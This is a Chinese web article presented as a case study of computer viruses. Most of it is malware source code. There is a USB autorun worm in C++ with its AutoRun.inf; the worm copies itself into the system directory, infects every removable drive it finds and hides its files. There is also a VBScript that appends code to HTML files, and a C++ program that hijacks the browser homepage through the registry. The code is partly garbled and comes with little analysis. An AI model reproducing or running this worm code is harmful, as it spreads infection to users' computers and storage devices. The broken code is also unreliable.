2017計算機(jī)病毒案例分析
計算機(jī)病毒相信大家都不陌生,說不定有些同學(xué)之前還經(jīng)歷過自己的電腦也中了病毒,下面學(xué)習(xí)啦小編為大家講之前發(fā)生過的計算機(jī)病毒案例!
一、U盤病毒
AutoRun.inf 文件
[AutoRun]
open=proj7_2.exe shell\open=打開(&O)
shell\open\Command=proj7_2.exe shell\explore=我的資源管理器(&X)
shell\explore\Command=proj7_2.exe
proj7_2.cpp
案例名稱:U 盤惡意代碼
程序名稱:proj7_2.cpp #include "stdafx.h" bool SaveToFile(char* Path,char* Data)
{ HANDLE hFile; hFile=CreateFile(Path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{/*continue; //出錯時處理*/} DWORD dwWrite; WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL); CloseHandle(hFile); return true; } BOOL InfectU() { while(true) { UINT revtype; char name[256]="H:\" char szName[256]={0}; char toPath[256]={0}; char infPath[256]={0}; char openU[80]={0};
/遍歷所有盤符
for(BYTE i=0x42;i<0x5B;i=i+0x01)
{ name[0]=i; //得到盤符類型 revtype=GetDriveType(name); //判斷是否是可移動存儲設(shè)備
if (revtype==DRIVE_REMOVABLE)
{ //得到自身文件路徑 GetModuleFileName(NULL,szName,256); //比較是否和U 盤的盤符相同 //如果相同說明在U 盤上執(zhí)行,復(fù)制到系統(tǒng)中去 if(strncmp(name,szName,1)==0)
{ //得到系統(tǒng)目錄 GetSystemDirectory(toPath,256); strcat(toPath,"\proj7_2.exe"); //把自身文件復(fù)制到系統(tǒng)目錄 if(CopyFile(szName,toPath,TRUE)) { //運(yùn)行程序 WinExec(toPath,0); } strcpy(openU,"explorer "); strcat(openU,name);
//打開U 盤 WinExec(openU,1); return 0; }
//如果不是在U 盤上執(zhí)行,則感染U 盤 else { strcpy(toPath,name); strcat(toPath,"\proj7_2.exe"); strcpy(infPath,name); strcat(infPath,"\AutoRun.inf");
//還原U 盤上的文件屬性 SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //刪除原有文件 DeleteFile(toPath); DeleteFile(infPath); //寫AutoRun.inf 到U 盤 char* Data; Data = "[AutoRun]\r\nopen=proj7_2.exe\r\nshell\open= 打開 (&O)\r\nshell\explore=我的資源管理器 (&X)\r\nshell\explore\Command=proj7_2.exe"; SaveToFile(infPath,Data); //拷貝自身文件到U 盤 CopyFile(szName,toPath,FALSE); //把這兩個文件設(shè)置成系統(tǒng),隱藏屬性 SetFileAttributes(toPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(infPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); } } } //休眠60 秒,60 檢測一次 Sleep(60000); } } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { InfectU(); return 0; }
二、腳本病毒
案例名稱:腳本病毒
程序名稱:Misery.vbs '遇到錯誤繼續(xù)執(zhí)行 On error resume next '遇到錯誤繼續(xù)執(zhí)行 On error resume next '定義變量 Dim fso,curfolder,curfile '定一個文件操作對象 Set fso = createobject("scripting.filesystemobject") '得到當(dāng)前目錄 Set curfolder = fso.GetFolder(".") '得到當(dāng)前目錄的文件 set files = curfolder.files '文件的打開方式 Const ForReading = 1, ForWriting = 2, ForAppending = 8 '向所有擴(kuò)展名為htm/HTM/html/HTML 的文件中寫代碼 for each file in Files if UCase(right(file.name,3)) = "HTM" or UCase(right(file.name,4)) = "HTML" then curfile = curfolder & "\" & file.name Set f = fso.OpenTextFile(curfile, ForAppending, True) f.Write vbcrlf f.Write "" end if next f.Close
三、案例名稱:瀏覽器惡意代碼
程序名稱:proj7_1.cpp #include #include main() { HKEY hKey1; DWORD dwDisposition; LONG lRetCode; //創(chuàng)建 lRetCode = RegCreateKeyEx ( HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Internet Explorer\Main", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey1, &dwDisposition); //如果創(chuàng)建失敗,顯示出錯信息 if (lRetCode != ERROR_SUCCESS){ printf ("Error in creating key\n"); return (0) } //設(shè)置鍵值 lRetCode = RegSetValueEx ( hKey1, "Default_Page_URL", 0, REG_SZ, (byte*)"http://www.sina.com.cn", 100); //如果創(chuàng)建失敗,顯示出錯信息 if (lRetCode != ERROR_SUCCESS) { printf ( "Error in setting value\n"); return (0) } printf("注冊表編寫成功!\n"); return(0); }
2017計算機(jī)病毒案例分析
上一篇:電腦cpu和主板搭配方法
下一篇:2017計算機(jī)病毒感染率